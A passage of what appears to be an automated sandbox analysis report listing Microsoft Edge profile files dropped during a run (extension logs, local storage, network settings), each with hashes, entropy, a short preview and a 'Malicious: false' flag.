\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.148266878927132
Encrypted:	false
SSDEEP:	6:2Ig+q2P923oH+Tcwt8aPrqIFUt8LwagFZZmw+LXVkwO923oH+Tcwt8amLJ:2Ig+v4YebL3FUt8LwNX/+LXV5LYebQJ
MD5:	F0544CB05F69D59226FB8A38DE52A659
SHA1:	5F6B1D31DACF29217C923B44C021607399C9E202
SHA-256:	0B30D73C5B5879905C6184BDCE85D99B81BD30C3BB253BAEF94D6DB4B53315A0
SHA-512:	C041E5AF89909E41252127352676E9EEB15BB8A620F3A60E221010FA82151E785748CBC14E6B66D57EA2E9022605D1FD30A08DAF1C9F04FA42EDF2C214755AF0
Malicious:	false
Preview:	2024/10/27-12:54:25.920 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/27-12:54:25.921 1f4c Recovering log #3.2024/10/27-12:54:25.922 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.148266878927132
Encrypted:	false
SSDEEP:	6:2Ig+q2P923oH+Tcwt8aPrqIFUt8LwagFZZmw+LXVkwO923oH+Tcwt8amLJ:2Ig+v4YebL3FUt8LwNX/+LXV5LYebQJ
MD5:	F0544CB05F69D59226FB8A38DE52A659
SHA1:	5F6B1D31DACF29217C923B44C021607399C9E202
SHA-256:	0B30D73C5B5879905C6184BDCE85D99B81BD30C3BB253BAEF94D6DB4B53315A0
SHA-512:	C041E5AF89909E41252127352676E9EEB15BB8A620F3A60E221010FA82151E785748CBC14E6B66D57EA2E9022605D1FD30A08DAF1C9F04FA42EDF2C214755AF0
Malicious:	false
Preview:	2024/10/27-12:54:25.920 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/27-12:54:25.921 1f4c Recovering log #3.2024/10/27-12:54:25.922 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1905766546919665
Encrypted:	false
SSDEEP:	6:2iag3+q2P923oH+Tcwt865IFUt8LTZZmw+LTNVkwO923oH+Tcwt86+ULJ:2zs+v4Yeb/WFUt8LTZ/+LTNV5LYeb/+e
MD5:	C92405925E0FE82A6DB19EAF89D57BA7
SHA1:	5149B0342F3933EA217B2247DE420518428F57E9
SHA-256:	B7C739C5717ADFA81983DC7ED86D2E1BCE7834341B83BC553571D42802905EF1
SHA-512:	0D17858AB9C0207E63A14AB1059868D97475B34650FDDCF30345104241DDCEC88AE045778989D0D533449BC0BC7823360158B956A942734479D49DB257B91C2B
Malicious:	false
Preview:	2024/10/27-12:54:25.927 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/27-12:54:25.928 1f4c Recovering log #3.2024/10/27-12:54:25.928 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1905766546919665
Encrypted:	false
SSDEEP:	6:2iag3+q2P923oH+Tcwt865IFUt8LTZZmw+LTNVkwO923oH+Tcwt86+ULJ:2zs+v4Yeb/WFUt8LTZ/+LTNV5LYeb/+e
MD5:	C92405925E0FE82A6DB19EAF89D57BA7
SHA1:	5149B0342F3933EA217B2247DE420518428F57E9
SHA-256:	B7C739C5717ADFA81983DC7ED86D2E1BCE7834341B83BC553571D42802905EF1
SHA-512:	0D17858AB9C0207E63A14AB1059868D97475B34650FDDCF30345104241DDCEC88AE045778989D0D533449BC0BC7823360158B956A942734479D49DB257B91C2B
Malicious:	false
Preview:	2024/10/27-12:54:25.927 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/27-12:54:25.928 1f4c Recovering log #3.2024/10/27-12:54:25.928 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.184949009571512
Encrypted:	false
SSDEEP:	6:2u3+q2P923oH+Tcwt8NIFUt8LuXZmw+LTRVkwO923oH+Tcwt8+eLJ:2uOv4YebpFUt8LuX/+LL5LYebqJ
MD5:	2A2ABB5152F3C2CD84301833FA8DB8B9
SHA1:	E518269543D87D05770C4540D24398EEFD9AB48B
SHA-256:	62E7023DE0BA7F878398E349BC7F07E79655BC6CAED1F5B3B39021BBDB6DAEE9
SHA-512:	5A27EEEAE4A233C360560E243CBB339D3CD45264F18CD8B46F07EEFCBA7282BF603C25176655D5357E223CECFE0E5CB6FCC429D71B76F589E6BAF9DBA629266F
Malicious:	false
Preview:	2024/10/27-12:54:26.712 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/27-12:54:26.712 16f8 Recovering log #3.2024/10/27-12:54:26.713 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.184949009571512
Encrypted:	false
SSDEEP:	6:2u3+q2P923oH+Tcwt8NIFUt8LuXZmw+LTRVkwO923oH+Tcwt8+eLJ:2uOv4YebpFUt8LuX/+LL5LYebqJ
MD5:	2A2ABB5152F3C2CD84301833FA8DB8B9
SHA1:	E518269543D87D05770C4540D24398EEFD9AB48B
SHA-256:	62E7023DE0BA7F878398E349BC7F07E79655BC6CAED1F5B3B39021BBDB6DAEE9
SHA-512:	5A27EEEAE4A233C360560E243CBB339D3CD45264F18CD8B46F07EEFCBA7282BF603C25176655D5357E223CECFE0E5CB6FCC429D71B76F589E6BAF9DBA629266F
Malicious:	false
Preview:	2024/10/27-12:54:26.712 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/27-12:54:26.712 16f8 Recovering log #3.2024/10/27-12:54:26.713 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:9lRlntFlljq7A/mhWJFuQ3yy7IOWUgl/dweytllrE9SFcTp4AGbNCV9RUIR4:HRG75fOa/d0Xi99pEYf4
MD5:	BED32AA26505BB96C285EC1ABBB0E6E0
SHA1:	799A79AF646913B15FDE3A9CABE46E34BA391EA8
SHA-256:	3077A447579149D597EE10BFBC7939991C348ABA582313210382C3DC826582DB
SHA-512:	D85D870A48AB7EFC7F052A32212698D4E6CCBA1F73F7017A8F7F0C4D0F1814BA00DAF3DB3CE0D9823EEF2E79E602665B5FFE83749CCB08811536A89A8E8C50A9
Malicious:	false
Preview:	..............G....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647749923389689
Encrypted:	false
SSDEEP:	384:aj9P0UP/Kbtfjl+QkQeragam6IQcO773pLXRKToaADhf:adHP/yl+e2NTO7JRKc39
MD5:	C6D9671A7501295866A46F9B7966AF17
SHA1:	EF8E2FFFD4A5E54588BA517F71B5E5909FDD1A78
SHA-256:	068AAB5F0925A4CC1E153B315E51A6750E8AC9CFB7601D26441BD15960F915EE
SHA-512:	B86D897A5E335ECC1A8018C221003E3D439210EB7CA0139850E98573A29850A6951E9F18214448F1AEEC16887D1F521869A1B7446061DA74F0C3D14322467255
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.325716010595727
Encrypted:	false
SSDEEP:	12:2S3ov4Yeb8rcHEZrELFUt8LS35/+LS3T5LYeb8rcHEZrEZSJ:G4Yeb8nZrExg8MLYeb8nZrEZe
MD5:	9A8E65CEFED54F719512815C4634E922
SHA1:	9E37D741DEDDEE38808E1C94E45B44EE8BB30846
SHA-256:	3E39C4BBBD085BE0164D557A006E75A622557561A0771E14CE1A512A0C83869C
SHA-512:	423A714D152879F249F54AD247448BC45DDF49C026BDB473FAC9C98DCF2EE43ABD4CAD3356DEE767401EEAD6F6764EF2DC684DBF92F83807BDD7E328E239FF0D
Malicious:	false
Preview:	2024/10/27-12:54:30.959 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/27-12:54:30.959 16f8 Recovering log #3.2024/10/27-12:54:30.959 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.325716010595727
Encrypted:	false
SSDEEP:	12:2S3ov4Yeb8rcHEZrELFUt8LS35/+LS3T5LYeb8rcHEZrEZSJ:G4Yeb8nZrExg8MLYeb8nZrEZe
MD5:	9A8E65CEFED54F719512815C4634E922
SHA1:	9E37D741DEDDEE38808E1C94E45B44EE8BB30846
SHA-256:	3E39C4BBBD085BE0164D557A006E75A622557561A0771E14CE1A512A0C83869C
SHA-512:	423A714D152879F249F54AD247448BC45DDF49C026BDB473FAC9C98DCF2EE43ABD4CAD3356DEE767401EEAD6F6764EF2DC684DBF92F83807BDD7E328E239FF0D
Malicious:	false
Preview:	2024/10/27-12:54:30.959 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/27-12:54:30.959 16f8 Recovering log #3.2024/10/27-12:54:30.959 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1669
Entropy (8bit):	5.689101956945689
Encrypted:	false
SSDEEP:	48:GnZlzY54SXZPQV03Sx4hGUyazNj4NHHS2EY8:U/s5tFmgGugTx8
MD5:	8A0BAEC021BCF88D4BEDB5A0B81E26E9
SHA1:	458480A4BA099809F5938530DA88D1409345E532
SHA-256:	7FBBA6C0FECC707625DC5AE33032069CEC5DE3BA7F9F01BD10FD16A41CA6E00E
SHA-512:	1E26C1D46690FD0E59D7FF89E0CDC0285C62BFE3D7D00839D53C8E61F58D04AF55AD87C43027D3A5BCBA13FF5B8D62FDDF8E622C92435C61EAE39663718528CF
Malicious:	false
Preview:	$Q.2x................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":562}.!_https://ntp.msn.com..LastKnownPV..1730048077569.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730048079345.._https://ntp.msn.com..MUID!.074FEA079F3063D20A3CFF229EC1622A.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730048077656,"schedule":[-1,-1,-1,22,0,-1,9],"scheduleFixed":[-1,-1,-1,22,0,-1,9],"simpleSchedule":[18,34,45,37,33,30,24]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730048077535.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241025.434"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.149377048505206
Encrypted:	false
SSDEEP:	6:26vrMq2P923oH+Tcwt8a2jMGIFUt8L6UNjZZmw+L6SNPkwO923oH+Tcwt8a2jMmd:26Qv4Yeb8EFUt8Lb/+L555LYeb8bJ
MD5:	A262EFB1309DE8AA4DDC2A7BF893DBAE
SHA1:	4BFB05F918FFCB049F5E042892AF4E10744488FF
SHA-256:	46457A9F1F31DE1EA4035DCC7FBE3834388CB0A1AFFD4FAB07F5B65B5BB70060
SHA-512:	9C02DD86B12F907565A1CF65C4074C374910407DB2E1BACA3D67CC1DC1486203125C523AA5440041928B0717233190A3E820B3D5BD5BE3FDCDC807E9747BCA4C
Malicious:	false
Preview:	2024/10/27-12:54:26.160 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/27-12:54:26.161 1cf4 Recovering log #3.2024/10/27-12:54:26.167 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.149377048505206
Encrypted:	false
SSDEEP:	6:26vrMq2P923oH+Tcwt8a2jMGIFUt8L6UNjZZmw+L6SNPkwO923oH+Tcwt8a2jMmd:26Qv4Yeb8EFUt8Lb/+L555LYeb8bJ
MD5:	A262EFB1309DE8AA4DDC2A7BF893DBAE
SHA1:	4BFB05F918FFCB049F5E042892AF4E10744488FF
SHA-256:	46457A9F1F31DE1EA4035DCC7FBE3834388CB0A1AFFD4FAB07F5B65B5BB70060
SHA-512:	9C02DD86B12F907565A1CF65C4074C374910407DB2E1BACA3D67CC1DC1486203125C523AA5440041928B0717233190A3E820B3D5BD5BE3FDCDC807E9747BCA4C
Malicious:	false
Preview:	2024/10/27-12:54:26.160 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/27-12:54:26.161 1cf4 Recovering log #3.2024/10/27-12:54:26.167 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3a9438ce-35fe-4910-a252-d67ae10ad77f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4e3ad6bf-6313-4ee6-b75a-7723a5473f5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\76afb6dc-1065-477f-85ac-9ef81c09212b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	5.341509076630075
Encrypted:	false
SSDEEP:	48:YcgCzsFDtsFofc7leeBkBRsECgH55Jbxo+:FSDSo2keBkBbT7JVo+
MD5:	DE318DA8589C9D1E8D66AF1EFD7EB590
SHA1:	EA80F29406BF5B989D80FBC5E89EDDBD3903E8CD
SHA-256:	E03B021817B062521BF8AB822FB37B73530429CC4D60EAC661ADF93DC01EF61F
SHA-512:	4E0E407846CF0CE59565DF104BE8C950FC2155573E7C674A3F2D2E5B9D0BC2D28E478F69567A5CEA2BCCEA29B7BEB85BAEACC79939A09AE571F7730720BEA5B4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377113668014844","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377113672186855","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8347d690-4fc9-4c61-94df-f8983ceb6796.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\967ab71d-50aa-4b3c-ac8b-fe393a35e333.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
